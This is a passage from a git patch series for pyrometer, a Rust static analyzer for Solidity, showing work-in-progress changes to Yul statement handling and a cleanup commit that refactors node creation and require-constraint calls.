new_inheritor_var - .set_range_max(analyzer, arena, r.max) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - } - } - }); - Ok(()) - }) - } - Switch(YulSwitch { - loc, - condition, - cases, - default, - }) => analyzer.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - analyzer.yul_switch_stmt( - arena, - loc, - condition.clone(), - cases.to_vec(), - default.clone(), - ctx, - ) - }), - Leave(loc) => Err(ExprErr::Todo( - *loc, - "Yul `leave` statements are not currently supported".to_string(), - )), - Break(loc) => Err(ExprErr::Todo( - *loc, - "Yul `break` statements are not currently supported".to_string(), - )), - Continue(loc) => Err(ExprErr::Todo( - *loc, - "Yul `continue` statements are not currently supported".to_string(), - )), - Block(yul_block) => { - yul_block - .statements - .iter() - .for_each(|stmt| analyzer.parse_ctx_yul_stmt_inner(arena, stmt, ctx)); - Ok(()) - } - FunctionDefinition(yul_func_def) => Err(ExprErr::Todo( - yul_func_def.loc(), - "Yul `function` defintions are not currently supported".to_string(), - )), - FunctionCall(yul_func_call) => analyzer.yul_func_call(arena, yul_func_call, ctx), - Error(loc) => Err(ExprErr::ParseError( - *loc, - "Could not parse this yul statement".to_string(), - )), - } - }); - let _ = self.add_if_err(ret); + // analyzer.match_assign_yul(ctx, loc, &nodes, ret) + // }) + // } else { + // Ok(()) + // } + // } + // If(loc, yul_expr, yul_block) => { + // analyzer.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let ret = analyzer.yul_cond_op_stmt(arena, loc, yul_expr, yul_block, ctx); + // let _ = analyzer.add_if_err(ret); + // Ok(()) + // }) + // } + // For(YulFor { + // loc, + // init_block: _, + // condition: _, + // post_block: _, + // execution_block: _, + // }) => { + // let sctx = + // Context::new_subctx(ctx, None, *loc, None, None, false, analyzer, None) + // .into_expr_err(*loc)?; + // let subctx = ContextNode::from(analyzer.add_node(Node::Context(sctx))); + // ctx.set_child_call(subctx, analyzer).into_expr_err(*loc)?; + // analyzer.apply_to_edges(subctx, *loc, arena, &|analyzer, arena, subctx, loc| { + // let vars = subctx.local_vars(analyzer).clone(); + // vars.iter().for_each(|(name, var)| { + // // widen to max range + // if let Some(inheritor_var) = ctx.var_by_name(analyzer, name) { + // let inheritor_var = inheritor_var.latest_version(analyzer); + // if let Some(r) = var + // .underlying(analyzer) + // .unwrap() + // .ty + // .default_range(analyzer) + // .unwrap() + // { + // let new_inheritor_var = analyzer + // .advance_var_in_ctx(inheritor_var, loc, ctx) + // .unwrap(); + // let res = new_inheritor_var + // .set_range_min(analyzer, arena, r.min) + // .into_expr_err(loc); + // let _ = analyzer.add_if_err(res); + // let res = new_inheritor_var + // .set_range_max(analyzer, arena, r.max) + // .into_expr_err(loc); + // let _ = analyzer.add_if_err(res); + // } + // } + // }); + // Ok(()) + // }) + // } + // Switch(YulSwitch { + // loc, + // condition, + // cases, + // default, + // }) => analyzer.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // analyzer.yul_switch_stmt( + // arena, + // loc, + // condition.clone(), + // cases.to_vec(), + // default.clone(), + // ctx, + // ) + // }), + // Leave(loc) => Err(ExprErr::Todo( + // *loc, + // "Yul `leave` statements are not currently supported".to_string(), + // )), + // Break(loc) => Err(ExprErr::Todo( + // *loc, + // "Yul `break` statements are not currently supported".to_string(), + // )), + // Continue(loc) => Err(ExprErr::Todo( + // *loc, + // "Yul `continue` statements are not currently supported".to_string(), + // )), + // Block(yul_block) => { + // yul_block + // .statements + // .iter() + // .for_each(|stmt| analyzer.parse_ctx_yul_stmt_inner(arena, stmt, ctx)); + // Ok(()) + // } + // FunctionDefinition(yul_func_def) => Err(ExprErr::Todo( + // yul_func_def.loc(), + // "Yul `function` defintions are not currently supported".to_string(), + // )), + // FunctionCall(yul_func_call) => analyzer.yul_func_call(arena, yul_func_call, ctx), + // Error(loc) => Err(ExprErr::ParseError( + // *loc, + // "Could not parse this yul statement".to_string(), + // )), + // } + // }); + // let _ = self.add_if_err(ret); } #[tracing::instrument(level = "trace", skip_all)] @@ -281,17 +276,18 @@ pub trait YulBuilder: expr: &YulExpression, ctx: ContextNode, ) -> Result<(), ExprErr> { - tracing::trace!("Parsing yul expression: {expr:?}"); + panic!("here"); + // tracing::trace!("Parsing yul expression: {expr:?}"); - let edges = ctx.live_edges(self).into_expr_err(expr.loc())?; - if edges.is_empty() { - self.parse_ctx_yul_expr_inner(arena, expr, ctx) - } else { - edges - .iter() - .try_for_each(|fork_ctx| self.parse_ctx_yul_expr(arena, expr, *fork_ctx))?; - Ok(()) - } + // let edges = ctx.live_edges(self).into_expr_err(expr.loc())?; + // if edges.is_empty() { + // self.parse_ctx_yul_expr_inner(arena, expr, ctx) + // } else { + // edges + // .iter() + // .try_for_each(|fork_ctx| self.parse_ctx_yul_expr(arena, expr, *fork_ctx))?; + // Ok(()) + // } } /// After performing some setup in `parse_ctx_yul_expr`, actually parse the yul expression diff --git a/crates/solc-expressions/src/yul/yul_cond_op.rs b/crates/solc-expressions/src/yul/yul_cond_op.rs index aa8b58b7..4e6e5b12 100644 --- a/crates/solc-expressions/src/yul/yul_cond_op.rs +++ b/crates/solc-expressions/src/yul/yul_cond_op.rs @@ -2,7 +2,10 @@ use crate::{require::Require, yul::YulBuilder, ContextBuilder}; use graph::{ elem::*, - nodes::{Concrete, ConcreteNode, Context, ContextNode, ContextVar, ContextVarNode, ExprRet}, + nodes::{ + Concrete, ConcreteNode, Context, ContextNode, ContextVar, ContextVarNode, ExprRet, + SubContextKind, + }, AnalyzerBackend, ContextEdge, Edge, Node, }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; @@ -33,22 +36,16 @@ pub trait YulCondOp: ctx: ContextNode, ) -> Result<(), ExprErr> { self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + let true_subctx_kind = SubContextKind::new_fork(ctx, true); let tctx = - Context::new_subctx(ctx, None, loc, Some("true"), None, false, analyzer, None) - .into_expr_err(loc)?; + Context::new_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); + let false_subctx_kind = SubContextKind::new_fork(ctx, false); let fctx = - Context::new_subctx(ctx, None, loc, Some("false"), None, false, analyzer, None) - .into_expr_err(loc)?; + Context::new_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); ctx.set_child_fork(true_subctx, false_subctx, analyzer) .into_expr_err(loc)?; - true_subctx - .set_continuation_ctx(analyzer, ctx, "yul_fork_true") - .into_expr_err(loc)?; - false_subctx - .set_continuation_ctx(analyzer, ctx, "yul_fork_false") - .into_expr_err(loc)?; let ctx_fork = analyzer.add_node(Node::ContextFork); analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); analyzer.add_edge( @@ -121,22 +118,16 @@ pub trait YulCondOp: ctx: ContextNode, ) -> Result<(), ExprErr> { self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + let true_subctx_kind = SubContextKind::new_fork(ctx, true); let tctx = - Context::new_subctx(ctx, None, loc, Some("true"), None, false, analyzer, None) - .into_expr_err(loc)?; + Context::new_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); + let false_subctx_kind = SubContextKind::new_fork(ctx, false); let fctx = - Context::new_subctx(ctx, None, loc, Some("false"), None, false, analyzer, None) - .into_expr_err(loc)?; + Context::new_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); ctx.set_child_fork(true_subctx, false_subctx, analyzer) .into_expr_err(loc)?; - true_subctx - .set_continuation_ctx(analyzer, ctx, "yul_fork_true") - .into_expr_err(loc)?; - false_subctx - .set_continuation_ctx(analyzer, ctx, "yul_fork_false") - .into_expr_err(loc)?; let ctx_fork = analyzer.add_node(Node::ContextFork); analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); analyzer.add_edge( diff --git a/crates/solc-expressions/src/yul/yul_funcs.rs b/crates/solc-expressions/src/yul/yul_funcs.rs index d3afd257..1da6b7de 100644 --- a/crates/solc-expressions/src/yul/yul_funcs.rs +++ b/crates/solc-expressions/src/yul/yul_funcs.rs @@ -13,9 +13,6 @@ use shared::{ExprErr, IntoExprErr, RangeArena, StorageLocation}; use ethers_core::types::U256; use solang_parser::pt::{Expression, Loc, YulExpression, YulFunctionCall}; -use std::cell::RefCell; -use std::rc::Rc; - impl YulFuncCaller for T where T: AnalyzerBackend + Sized + GraphBackend { @@ -768,45 +765,6 @@ pub trait YulFuncCaller: loc: Loc, inputs: &[YulExpression], ) -> Result<(), ExprErr> { - let append = if ctx.underlying(self).into_expr_err(loc)?.tmp_expr.is_empty() { - Rc::new(RefCell::new(true)) - } else { - Rc::new(RefCell::new(false)) - }; - - inputs.iter().try_for_each(|input| { - self.parse_ctx_yul_expr(arena, input, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Inputs did not have left hand sides".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - if *append.borrow() { - ctx.append_tmp_expr(ret, analyzer).into_expr_err(loc) - } else { - *append.borrow_mut() = true; - ctx.push_tmp_expr(ret, analyzer).into_expr_err(loc) - } - }) - })?; - if !inputs.is_empty() { - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_tmp_expr(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Inputs did not have left hand sides".to_string(), - )); - }; - ctx.push_expr(ret, analyzer).into_expr_err(loc) - }) - } else { - Ok(()) - } + unreachable!("Should not have called this"); } } From 5a640890690dc1127717029aadcae2163176f5b0 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Tue, 16 Jul 2024 16:30:38 -0700 Subject: [PATCH 09/52] cleanup --- crates/graph/src/nodes/concrete.rs | 6 + crates/graph/src/range/elem/mod.rs | 14 + crates/pyrometer/src/analyzer_backend.rs | 6 +- crates/solc-expressions/src/array.rs | 4 +- crates/solc-expressions/src/assign.rs | 2 +- crates/solc-expressions/src/bin_op.rs | 42 +-- crates/solc-expressions/src/cmp.rs | 14 +- .../src/context_builder/expr.rs | 2 +- .../src/context_builder/flattened.rs | 2 +- .../src/context_builder/mod.rs | 2 +- .../src/context_builder/stmt.rs | 4 +- crates/solc-expressions/src/env.rs | 113 +++---- .../solc-expressions/src/func_call/apply.rs | 12 +- .../src/func_call/func_caller.rs | 4 +- .../solc-expressions/src/func_call/helper.rs | 8 +- .../src/func_call/internal_call.rs | 4 +- .../src/func_call/intrinsic_call/abi.rs | 96 +++++- .../src/func_call/intrinsic_call/address.rs | 22 +- .../src/func_call/intrinsic_call/array.rs | 92 +++--- .../src/func_call/intrinsic_call/block.rs | 41 +-- .../func_call/intrinsic_call/constructors.rs | 8 +- .../func_call/intrinsic_call/dyn_builtin.rs | 66 ++-- .../intrinsic_call/intrinsic_caller.rs | 281 ++++++++++-------- .../src/func_call/intrinsic_call/msg.rs | 12 +- .../func_call/intrinsic_call/precompile.rs | 214 +++++-------- .../src/func_call/intrinsic_call/solidity.rs | 129 ++++---- .../src/func_call/intrinsic_call/types.rs | 170 ++++------- crates/solc-expressions/src/list.rs | 8 +- crates/solc-expressions/src/literal.rs | 22 +- .../src/member_access/builtin_access.rs | 24 +- .../src/member_access/contract_access.rs | 14 +- .../src/member_access/enum_access.rs | 2 +- .../src/member_access/list_access.rs | 4 +- .../src/member_access/member_trait.rs | 2 +- .../src/member_access/struct_access.rs | 2 +- crates/solc-expressions/src/require.rs | 104 +------ crates/solc-expressions/src/variable.rs | 24 +- .../solc-expressions/src/yul/yul_builder.rs | 2 +- .../solc-expressions/src/yul/yul_cond_op.rs | 30 +- crates/solc-expressions/src/yul/yul_funcs.rs | 22 +- 40 files changed, 698 insertions(+), 932 deletions(-) diff --git a/crates/graph/src/nodes/concrete.rs b/crates/graph/src/nodes/concrete.rs index 9118b9bd..7006b569 100644 --- a/crates/graph/src/nodes/concrete.rs +++ b/crates/graph/src/nodes/concrete.rs @@ -104,6 +104,12 @@ pub enum Concrete { Array(Vec), } +impl From for Node { + fn from(c: Concrete) -> Node { + Node::Concrete(c) + } +} + impl Default for Concrete { fn default() -> Self { Concrete::Uint(0, U256::zero()) diff --git a/crates/graph/src/range/elem/mod.rs b/crates/graph/src/range/elem/mod.rs index 3e90b118..0e7a1095 100644 --- a/crates/graph/src/range/elem/mod.rs +++ b/crates/graph/src/range/elem/mod.rs @@ -234,6 +234,20 @@ impl RangeOp { }; Some(t) } + + pub fn require_rhs(self) -> Option { + use RangeOp::*; + let t = match self { + Eq => Eq, + Neq => Neq, + Lte => Gte, + Gte => Lte, + Gt => Lt, + Lt => Gt, + _ => return None, + }; + Some(t) + } } impl ToString for RangeOp { diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index 9c0a5255..8cf7d4fe 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -30,9 +30,9 @@ impl AnalyzerBackend for Analyzer { concrete: Concrete, loc: Loc, ) -> Result { - let cnode = self.add_node(Node::Concrete(concrete)); + let cnode = self.add_node(concrete); let var = ContextVar::new_from_concrete(loc, ctx, cnode.into(), self); - let cnode = self.add_node(Node::ContextVar(var.into_expr_err(loc)?)); + let cnode = self.add_node(var.into_expr_err(loc)?); Ok(cnode.into()) } } @@ -436,7 +436,7 @@ impl AnalyzerLike for Analyzer { int }; - self.add_node(Node::Concrete(Concrete::Uint(256, val))) + self.add_node(Concrete::Uint(256, val)) } _ => { if let Some(idx) = self.complicated_parse(arena, expr, parent) { diff --git a/crates/solc-expressions/src/array.rs b/crates/solc-expressions/src/array.rs index 180ee437..10123989 100644 --- a/crates/solc-expressions/src/array.rs +++ b/crates/solc-expressions/src/array.rs @@ -170,8 +170,6 @@ pub trait Array: AnalyzerBackend + Sized { ctx, loc, RangeOp::Gt, - RangeOp::Lt, - (RangeOp::Lte, RangeOp::Gte), )?; } @@ -222,7 +220,7 @@ pub trait Array: AnalyzerBackend + Sized { ty, }; - let idx_access_node = self.add_node(Node::ContextVar(index_access_var)); + let idx_access_node = self.add_node(index_access_var); self.add_edge( idx_access_node, parent, diff --git a/crates/solc-expressions/src/assign.rs b/crates/solc-expressions/src/assign.rs index 4b950f21..4d0dda34 100644 --- a/crates/solc-expressions/src/assign.rs +++ b/crates/solc-expressions/src/assign.rs @@ -319,7 +319,7 @@ pub trait Assign: AnalyzerBackend + Sized // let new_name = format!("{}.{field_name}", lhs_cvar.name(self).unwrap()); // new_var.name.clone_from(&new_name); // new_var.display_name = new_name; - // let new_field = ContextVarNode::from(self.add_node(Node::ContextVar(new_var))); + // let new_field = ContextVarNode::from(self.add_node(new_var)); // self.add_edge( // new_field, // lhs_cvar.first_version(self), diff --git a/crates/solc-expressions/src/bin_op.rs b/crates/solc-expressions/src/bin_op.rs index 3020dd07..a1455ed0 100644 --- a/crates/solc-expressions/src/bin_op.rs +++ b/crates/solc-expressions/src/bin_op.rs @@ -210,7 +210,7 @@ pub trait BinOp: AnalyzerBackend + Sized { .concrete_to_builtin(self) .into_expr_err(loc)?; - let new_var = self.add_node(Node::ContextVar(new_lhs_underlying)); + let new_var = self.add_node(new_lhs_underlying); ctx.add_var(new_var.into(), self).into_expr_err(loc)?; self.add_edge(new_var, ctx, Edge::Context(ContextEdge::Variable)); ContextVarNode::from(new_var) @@ -375,7 +375,7 @@ pub trait BinOp: AnalyzerBackend + Sized { Elem::Null, )); - let out_var = ContextVarNode::from(self.add_node(Node::ContextVar(out_var))); + let out_var = ContextVarNode::from(self.add_node(out_var)); out_var .set_range_min(self, arena, expr.clone()) @@ -428,16 +428,7 @@ pub trait BinOp: AnalyzerBackend + Sized { let zero_node = self.add_concrete_var(ctx, Concrete::from(U256::zero()), loc)?; if self - .require( - arena, - tmp_rhs, - zero_node, - ctx, - loc, - RangeOp::Neq, - RangeOp::Neq, - (RangeOp::Eq, RangeOp::Neq), - )? + .require(arena, tmp_rhs, zero_node, ctx, loc, RangeOp::Neq)? .is_none() { return Ok(Some(ExprRet::CtxKilled(KilledKind::Revert))); @@ -472,8 +463,6 @@ pub trait BinOp: AnalyzerBackend + Sized { ctx, loc, RangeOp::Gte, - RangeOp::Lte, - (RangeOp::Lte, RangeOp::Gte), )? .is_none() { @@ -503,8 +492,6 @@ pub trait BinOp: AnalyzerBackend + Sized { ctx, loc, RangeOp::Lte, - RangeOp::Gte, - (RangeOp::Gte, RangeOp::Lte), )? .is_none() { @@ -541,8 +528,6 @@ pub trait BinOp: AnalyzerBackend + Sized { ctx, loc, RangeOp::Lte, - RangeOp::Gte, - (RangeOp::Gte, RangeOp::Lte), )? .is_none() { @@ -574,8 +559,6 @@ pub trait BinOp: AnalyzerBackend + Sized { ctx, loc, RangeOp::Gte, - RangeOp::Lte, - (RangeOp::Lte, RangeOp::Gte), )? .is_none() { @@ -613,8 +596,6 @@ pub trait BinOp: AnalyzerBackend + Sized { ctx, loc, RangeOp::Lte, - RangeOp::Gte, - (RangeOp::Gte, RangeOp::Lte), )? .is_none() { @@ -667,8 +648,6 @@ pub trait BinOp: AnalyzerBackend + Sized { ctx, loc, RangeOp::Gte, - RangeOp::Lte, - (RangeOp::Lte, RangeOp::Gte), )? .is_none() { @@ -693,16 +672,7 @@ pub trait BinOp: AnalyzerBackend + Sized { let zero = rhs.ty_zero_concrete(self).into_expr_err(loc)?.unwrap(); let zero = self.add_concrete_var(ctx, zero, loc)?; if self - .require( - arena, - rhs, - zero, - ctx, - loc, - RangeOp::Gte, - RangeOp::Lte, - (RangeOp::Lte, RangeOp::Gte), - )? + .require(arena, rhs, zero, ctx, loc, RangeOp::Gte)? .is_none() { return Ok(Some(ExprRet::CtxKilled(KilledKind::Revert))); @@ -725,8 +695,6 @@ pub trait BinOp: AnalyzerBackend + Sized { ctx, loc, RangeOp::Lte, - RangeOp::Gte, - (RangeOp::Gte, RangeOp::Lte), )? .is_none() { @@ -757,8 +725,6 @@ pub trait BinOp: AnalyzerBackend + Sized { ctx, loc, RangeOp::Gte, - RangeOp::Lte, - (RangeOp::Lte, RangeOp::Gte), )? .is_none() { diff --git a/crates/solc-expressions/src/cmp.rs b/crates/solc-expressions/src/cmp.rs index 59f81700..b44fc7e6 100644 --- a/crates/solc-expressions/src/cmp.rs +++ b/crates/solc-expressions/src/cmp.rs @@ -88,11 +88,8 @@ pub trait Cmp: AnalyzerBackend + Sized { ), }; - ctx.push_expr( - ExprRet::Single(self.add_node(Node::ContextVar(out_var))), - self, - ) - .into_expr_err(loc)?; + ctx.push_expr(ExprRet::Single(self.add_node(out_var)), self) + .into_expr_err(loc)?; Ok(()) } ExprRet::Multi(f) => Err(ExprErr::MultiNot( @@ -253,11 +250,8 @@ pub trait Cmp: AnalyzerBackend + Sized { ), }; - ctx.push_expr( - ExprRet::Single(self.add_node(Node::ContextVar(out_var))), - self, - ) - .into_expr_err(loc) + ctx.push_expr(ExprRet::Single(self.add_node(out_var)), self) + .into_expr_err(loc) } (l @ ExprRet::Single(_lhs), ExprRet::Multi(rhs_sides)) => { rhs_sides diff --git a/crates/solc-expressions/src/context_builder/expr.rs b/crates/solc-expressions/src/context_builder/expr.rs index 5231e12f..a8ff7d2b 100644 --- a/crates/solc-expressions/src/context_builder/expr.rs +++ b/crates/solc-expressions/src/context_builder/expr.rs @@ -363,7 +363,7 @@ pub trait ExpressionParser: // self, // ) // .into_expr_err(*loc)?; - // let cvar = self.add_node(Node::ContextVar(var)); + // let cvar = self.add_node(var); // ctx.add_var(cvar.into(), self).into_expr_err(*loc)?; // self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); // ctx.push_expr(ExprRet::Single(cvar), self) diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 197931be..46762be2 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1019,7 +1019,7 @@ pub trait Flatten: VarType::User(TypeNode::Func(s), _) => { if self.builtin_fn_nodes().iter().any(|(_, v)| *v == func) { // its a builtin function call - todo!("builtin fn") + self.call_builtin(arena, ctx, &*s.name(self).into_expr_err(loc)?, inputs, loc) } else { self.func_call(arena, ctx, loc, &inputs, s, None, None) } diff --git a/crates/solc-expressions/src/context_builder/mod.rs b/crates/solc-expressions/src/context_builder/mod.rs index 4c99ca52..eacb5b3b 100644 --- a/crates/solc-expressions/src/context_builder/mod.rs +++ b/crates/solc-expressions/src/context_builder/mod.rs @@ -82,7 +82,7 @@ pub trait ContextBuilder: .map(|underlying| { ContextVar::new_from_func_ret(ctx, self, underlying).map(|var| { var.map(|var| { - ContextVarNode::from(self.add_node(Node::ContextVar(var))) + ContextVarNode::from(self.add_node(var)) }).ok_or(GraphError::NodeConfusion("Could not construct a context variable from function return".to_string())) .map(Some) }).and_then(|i| i) diff --git a/crates/solc-expressions/src/context_builder/stmt.rs b/crates/solc-expressions/src/context_builder/stmt.rs index f9d3244b..3f0a5f36 100644 --- a/crates/solc-expressions/src/context_builder/stmt.rs +++ b/crates/solc-expressions/src/context_builder/stmt.rs @@ -175,7 +175,7 @@ pub trait StatementParser: // let func_param = self.add_if_err(res)?; // if let Some(cvar) = ContextVar::maybe_new_from_func_param(self, func_param) // { - // let cvar_node = self.add_node(Node::ContextVar(cvar)); + // let cvar_node = self.add_node(cvar); // ContextNode::from(ctx_node) // .add_var(cvar_node.into(), self) // .unwrap(); @@ -215,7 +215,7 @@ pub trait StatementParser: // let res = ret_node.underlying(self).into_expr_err(stmt.loc()).cloned(); // let func_ret = self.add_if_err(res).unwrap(); // if let Some(cvar) = ContextVar::maybe_new_from_func_ret(self, func_ret) { - // let cvar_node = self.add_node(Node::ContextVar(cvar)); + // let cvar_node = self.add_node(cvar); // ContextNode::from(ctx_node) // .add_var(cvar_node.into(), self) // .unwrap(); diff --git a/crates/solc-expressions/src/env.rs b/crates/solc-expressions/src/env.rs index f5c9436a..f868affa 100644 --- a/crates/solc-expressions/src/env.rs +++ b/crates/solc-expressions/src/env.rs @@ -74,10 +74,7 @@ pub trait Env: AnalyzerBackend + Sized { "hash" => { if let Some(d) = self.block().underlying(self).into_expr_err(loc)?.hash { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "block.blockhash".to_string(), - ) + (self.add_node(c).into(), "block.blockhash".to_string()) } else { let node = self.builtin_or_add(Builtin::Bytes(32)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -87,7 +84,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Block(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -96,10 +93,7 @@ pub trait Env: AnalyzerBackend + Sized { "basefee" => { if let Some(d) = self.block().underlying(self).into_expr_err(loc)?.basefee { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "block.basefee".to_string(), - ) + (self.add_node(c).into(), "block.basefee".to_string()) } else { let node = self.builtin_or_add(Builtin::Uint(256)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -109,7 +103,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Block(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -118,10 +112,7 @@ pub trait Env: AnalyzerBackend + Sized { "chainid" => { if let Some(d) = self.block().underlying(self).into_expr_err(loc)?.chainid { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "block.chainid".to_string(), - ) + (self.add_node(c).into(), "block.chainid".to_string()) } else { let node = self.builtin_or_add(Builtin::Uint(256)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -131,7 +122,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Block(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -140,10 +131,7 @@ pub trait Env: AnalyzerBackend + Sized { "coinbase" => { if let Some(d) = self.block().underlying(self).into_expr_err(loc)?.coinbase { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "block.coinbase".to_string(), - ) + (self.add_node(c).into(), "block.coinbase".to_string()) } else { let node = self.builtin_or_add(Builtin::Address); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -153,7 +141,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Block(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -162,10 +150,7 @@ pub trait Env: AnalyzerBackend + Sized { "difficulty" => { if let Some(d) = self.block().underlying(self).into_expr_err(loc)?.difficulty { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "block.difficulty".to_string(), - ) + (self.add_node(c).into(), "block.difficulty".to_string()) } else { let node = self.builtin_or_add(Builtin::Uint(256)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -175,7 +160,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Block(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -184,10 +169,7 @@ pub trait Env: AnalyzerBackend + Sized { "gaslimit" => { if let Some(d) = self.block().underlying(self).into_expr_err(loc)?.gaslimit { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "block.gaslimit".to_string(), - ) + (self.add_node(c).into(), "block.gaslimit".to_string()) } else { let node = self.builtin_or_add(Builtin::Uint(256)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -197,7 +179,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Block(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -206,10 +188,7 @@ pub trait Env: AnalyzerBackend + Sized { "number" => { if let Some(d) = self.block().underlying(self).into_expr_err(loc)?.number { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "block.number".to_string(), - ) + (self.add_node(c).into(), "block.number".to_string()) } else { let node = self.builtin_or_add(Builtin::Uint(256)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -219,7 +198,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Block(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -228,10 +207,7 @@ pub trait Env: AnalyzerBackend + Sized { "prevrandao" => { if let Some(d) = self.block().underlying(self).into_expr_err(loc)?.prevrandao { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "block.prevrandao".to_string(), - ) + (self.add_node(c).into(), "block.prevrandao".to_string()) } else { let node = self.builtin_or_add(Builtin::Uint(256)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -241,7 +217,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Block(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -250,10 +226,7 @@ pub trait Env: AnalyzerBackend + Sized { "timestamp" => { if let Some(d) = self.block().underlying(self).into_expr_err(loc)?.timestamp { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "block.timestamp".to_string(), - ) + (self.add_node(c).into(), "block.timestamp".to_string()) } else { let node = self.builtin_or_add(Builtin::Uint(256)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -263,7 +236,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; 